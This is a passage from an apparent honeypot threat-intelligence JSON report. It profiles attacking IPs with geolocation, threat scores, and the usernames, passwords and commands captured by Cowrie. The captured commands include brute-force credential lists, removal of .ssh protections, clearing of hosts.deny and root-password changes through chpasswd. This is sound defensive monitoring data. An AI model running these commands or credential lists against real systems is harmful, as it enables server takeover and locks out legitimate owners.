      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "odoo",
        "test",
        "testman",
        "user1",
        "admin",
        "admin123",
        "ali",
        "backupuser",
        "bin",
        "cc",
        "dbuser",
        "deploy",
        "dev",
        "io",
        "mike",
        "nvidia",
        "postgres"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#qweasd",
        "123",
        "1234",
        "123456",
        "123@abc",
        "123qwe",
        "1qaz@wsx",
        "1qw23e",
        "321",
        "333333333",
        "Passw0rd@2024",
        "Qwer!234",
        "Root1234567890",
        "Test12345",
        "Usman@123",
        "ZAQ12WSX",
        "Zxc123456",
        "a123456789"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123qwe\\ngQIrfcUTZvp6\\ngQIrfcUTZvp6\\n\"|passwd",
        "echo \"root:K9RKGrh4XXE3\"|chpasswd|bash",
        "echo \"root:OKH3VlTXzqa8\"|chpasswd|bash",
        "echo \"root:OWOXinspEKVO\"|chpasswd|bash",
        "echo \"root:Y7uwvmtjCASr\"|chpasswd|bash",
        "echo \"root:fz7fUdFPdshW\"|chpasswd|bash",
        "echo -e \"123qwe\\ngQIrfcUTZvp6\\ngQIrfcUTZvp6\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 43.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.8,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 766,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T06:51:12.447000+00:00",
        "last_seen_30d": "2026-05-24T15:34:04.336000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 634,
        "Suricata": 132
      }
    },
    "59.26.132.170": {
      "attack_count": 528,
      "first_seen": "2026-05-24T14:36:54.742Z",
      "last_seen": "2026-05-30T05:46:15.991Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "nexus",
        "systemd",
        "ts3",
        "azuracast",
        "backupuser",
        "bin",
        "dmdba",
        "frappe-user",
        "jerry",
        "manager",
        "marko",
        "mithun",
        "node",
        "postgres",
        "qiyuesuo",
        "sfserver",
        "shadow"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "1",
        "112233",
        "123",
        "1234",
        "Admin888.",
        "Bm123456@",
        "Nexus123",
        "Pa$$w0rd12345",
        "Pass",
        "Test12345",
        "Usman@123",
        "Voidsetdownload.so",
        "a123456789",
        "azuracast",
        "fjbdfdjkdsfs541544AA@@",
        "ivan123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nlqbOyLAk7ab0\\nlqbOyLAk7ab0\\n\"|passwd",
        "echo \"Nexus123\\ndgD3l528dFbt\\ndgD3l528dFbt\\n\"|passwd",
        "echo \"Voidsetdownload.so\\njL2GrnaUaTHZ\\njL2GrnaUaTHZ\\n\"|passwd",
        "echo \"root:9u727MXLGlfq\"|chpasswd|bash",
        "echo \"root:SnpCbWDP4lQm\"|chpasswd|bash",
        "echo -e \"123456\\nlqbOyLAk7ab0\\nlqbOyLAk7ab0\"|passwd|bash",
        "echo -e \"Nexus123\\ndgD3l528dFbt\\ndgD3l528dFbt\"|passwd|bash",
        "echo -e \"Voidsetdownload.so\\njL2GrnaUaTHZ\\njL2GrnaUaTHZ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yuseong-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 44.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.1,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 644,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T14:36:54.742000+00:00",
        "last_seen_30d": "2026-05-30T05:47:26.096000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 528,
        "Suricata": 116
      }
    },
    "175.198.62.180": {
      "attack_count": 405,
      "first_seen": "2026-05-05T02:52:43.608Z",
      "last_seen": "2026-05-23T03:02:58.797Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user",
        "viewtinet",
        "UBUNTU",
        "administrator",
        "esuser",
        "ftpuser",
        "postgres",
        "ubuntu",
        "z"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "00",
        "123258",
        "123456",
        "1234567",
        "123@Test",
        "14881488",
        "1a2b3c!@#",
        "1qaz2wsx#EDC",
        "321",
        "A11223344",
        "A@123456789",
        "Abcd2025",
        "Avatar",
        "Bo@123456",
        "Ky123456.",
        "P@ssw0rd2024~",
        "Passw0rdPassw0rd",
        "Qwerty01"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:G6gUwtZ66mET\"|chpasswd|bash",
        "echo \"root:kUPS2v5i1MqN\"|chpasswd|bash",
        "echo \"viewtinet\\nv3lC7YSFmmoJ\\nv3lC7YSFmmoJ\\n\"|passwd",
        "echo -e \"viewtinet\\nv3lC7YSFmmoJ\\nv3lC7YSFmmoJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangseo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 40.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.1,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 509,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:52:43.608000+00:00",
        "last_seen_30d": "2026-05-23T03:04:01.400000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 405,
        "Suricata": 104
      }
    },
    "63.250.52.57": {
      "attack_count": 327,
      "first_seen": "2026-05-19T20:46:54.755Z",
      "last_seen": "2026-05-19T21:19:44.106Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "2099",
        "909090",
        "Aa123456!",
        "Admin+123",
        "anand123",
        "claude",
        "eagle",
        "jake",
        "mcintosh",
        "mec",
        "mihai2011",
        "moebius",
        "motorola123",
        "nirvana",
        "p@ssword",
        "pipi",
        "root.2023",
        "sun123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:5L8uFnXFxfUz\"|chpasswd|bash",
        "echo \"root:FKObMs1KY97A\"|chpasswd|bash",
        "echo \"root:redkpJNAmoiq\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 29802,
      "as_org": "HIVELOCITY, Inc.",
      "threat_score": 23.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 391,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T20:46:54.755000+00:00",
        "last_seen_30d": "2026-05-19T21:20:47.846000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 327,
        "Suricata": 64
      }
    },
    "47.237.107.227": {
      "attack_count": 312,
      "first_seen": "2026-05-09T11:19:09.731Z",
      "last_seen": "2026-05-09T16:55:48.622Z",
      "sessions": 79,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "angel",
        "ansible",
        "appuser",
        "backup",
        "chris",
        "cloud",
        "david",
        "developer",
        "dmdba",
        "dolphinscheduler",
        "ec2-user",
        "elastic",
        "elasticsearch",
        "esroot",
        "gitlab",
        "hduser",
        "hu",
        "init"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "!qaz@WSX",
        "123",
        "12345678",
        "1qaz@WSX",
        "Aa123123",
        "Aa123456",
        "Passw0rd",
        "Password",
        "admin",
        "angel",
        "ansible",
        "appuser",
        "backup",
        "chris",
        "cloud",
        "david",
        "dolphinscheduler123",
        "esroot"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 537,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T11:19:09.731000+00:00",
        "last_seen_30d": "2026-05-09T16:56:58.240000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 225
      }
    },
    "206.189.140.52": {
      "attack_count": 304,
      "first_seen": "2026-05-17T20:16:20.040Z",
      "last_seen": "2026-05-17T20:43:57.596Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456@qq",
        "123system123",
        "2057",
        "2061",
        "7ujMko0admin",
        "devel0per",
        "edu01",
        "f00tb@ll",
        "gitgit",
        "hola",
        "mah123",
        "nathan",
        "oracle01",
        "passport",
        "passwort",
        "renuka",
        "testusr",
        "toorroot"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:FKN4JB2zc3Uw\"|chpasswd|bash",
        "echo \"root:OzBA0cErk6V5\"|chpasswd|bash",
        "echo \"root:vYaO4PEX0FIQ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T20:16:20.040000+00:00",
        "last_seen_30d": "2026-05-17T20:45:03.252000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 58
      }
    },
    "107.150.110.167": {
      "attack_count": 288,
      "first_seen": "2026-05-07T18:07:42.303Z",
      "last_seen": "2026-05-07T19:13:44.610Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "hadoopuser",
        "postgres",
        "test",
        "user",
        "ftpuser",
        "gmodserver",
        "gpadmin",
        "mcserver",
        "odoo",
        "oracle",
        "postgress",
        "richard",
        "servermanager",
        "test_1",
        "tony"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "!@#$",
        "1",
        "123",
        "123456",
        "12345s",
        "123postgres123",
        "12qwaszx",
        "2",
        "888888888",
        "Admin1234",
        "Digital@2023",
        "admin",
        "admin@123456789",
        "asdf1234567",
        "hadoopuser123",
        "helloserver",
        "hooters"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"2\\nRLP7ZMElC068\\nRLP7ZMElC068\\n\"|passwd",
        "echo \"hadoopuser123\\nJ5597OSUYoCF\\nJ5597OSUYoCF\\n\"|passwd",
        "echo -e \"2\\nRLP7ZMElC068\\nRLP7ZMElC068\"|passwd|bash",
        "echo -e \"hadoopuser123\\nJ5597OSUYoCF\\nJ5597OSUYoCF\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T18:07:42.303000+00:00",
        "last_seen_30d": "2026-05-07T19:14:51.576000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 74
      }
    },
    "81.30.162.19": {
      "attack_count": 276,
      "first_seen": "2026-05-25T01:24:13.975Z",
      "last_seen": "2026-05-25T02:09:13.588Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "curl",
        "oracle",
        "acct",
        "cloud",
        "devil",
        "postgres",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1q2w3e4r",
        "201314",
        "Admin@123456",
        "Cc123456",
        "Oracle123",
        "Test@2026",
        "Wangsu@2017",
        "acct123",
        "admin",
        "devil",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "qwqw1212",
        "welltech12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Oracle123\\n1MdLKCK4JYCU\\n1MdLKCK4JYCU\\n\"|passwd",
        "echo \"root:63C46WDFIF2l\"|chpasswd|bash",
        "echo \"welltech12\\nFNoIbOp5c1AO\\nFNoIbOp5c1AO\\n\"|passwd",
        "echo -e \"Oracle123\\n1MdLKCK4JYCU\\n1MdLKCK4JYCU\"|passwd|bash",
        "echo -e \"welltech12\\nFNoIbOp5c1AO\\nFNoIbOp5c1AO\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Vinnytsia",
      "asn": 24945,
      "as_org": "Telecommunication Company Vinteleport Ltd.",
      "threat_score": 30.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 324,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T01:24:13.975000+00:00",
        "last_seen_30d": "2026-05-25T02:10:18.796000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 276,
        "Suricata": 48
      }
    },
    "45.58.52.25": {
      "attack_count": 268,
      "first_seen": "2026-05-28T23:17:11.485Z",
      "last_seen": "2026-05-30T06:19:17.246Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "brenda",
        "composer",
        "developer",
        "dk",
        "ict",
        "karen",
        "mapadmin",
        "nexus",
        "oracle",
        "piuser",
        "rich",
        "testadmin",
        "user1",
        "zimbra"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123456Qq",
        "1qaz2wsx",
        "2wsxZAQ!",
        "Abc123##",
        "Abcd1234.",
        "L@y3rh0st2023",
        "P@ssw0rd",
        "Pa55w0rd",
        "Qwer.1234",
        "alpha001",
        "bismillah",
        "brenda",
        "composer",
        "dk",
        "fjbdfdjkdsfs541544",
        "karen123",
        "mapadmin"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"brenda\\nhoVncJm0VlJ4\\nhoVncJm0VlJ4\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\nSWVvwZEBhVdQ\\nSWVvwZEBhVdQ\\n\"|passwd",
        "echo -e \"brenda\\nhoVncJm0VlJ4\\nhoVncJm0VlJ4\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nSWVvwZEBhVdQ\\nSWVvwZEBhVdQ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 7489,
      "as_org": "HostUS",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 337,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T23:17:11.485000+00:00",
        "last_seen_30d": "2026-05-30T06:20:23.824000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 268,
        "Suricata": 69
      }
    },
    "101.32.109.156": {
      "attack_count": 241,
      "first_seen": "2026-05-19T00:09:58.372Z",
      "last_seen": "2026-05-19T00:39:10.831Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1",
        "alex",
        "ansible",
        "claude",
        "emma",
        "leidyroa",
        "nginx",
        "test",
        "ubuntu",
        "username"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "123123qwe",
        "123456!@",
        "1234567",
        "ABCabc123",
        "Aa@1234567",
        "Ch123456",
        "Claude2026!",
        "Fu123456",
        "Linux2024",
        "Test12!@",
        "User@2023",
        "abc123!@#",
        "admin123",
        "alex12345",
        "emma",
        "test123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:fxuNqomv9jdq\"|chpasswd|bash",
        "echo \"root:nqSiuom3ZBF4\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T00:09:58.372000+00:00",
        "last_seen_30d": "2026-05-19T00:40:16.612000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 56
      }
    },
    "115.178.75.243": {
      "attack_count": 204,
      "first_seen": "2026-05-23T00:08:25.809Z",
      "last_seen": "2026-05-23T01:01:24.102Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "felipe",
        "ftp_user",
        "rita",
        "teamspeak",
        "terry"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123456Q!",
        "1q2w3e4r5t!",
        "2309",
        "A1234567a",
        "ASDzxc123",
        "Mm123456@",
        "Password@123",
        "QWE!@#qwe123",
        "QWEasd123456",
        "rita@123",
        "terry"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:5fKdV1mC561y\"|chpasswd|bash",
        "echo \"root:XvzfAmuYTTAL\"|chpasswd|bash"
      ],
      "event_types": [
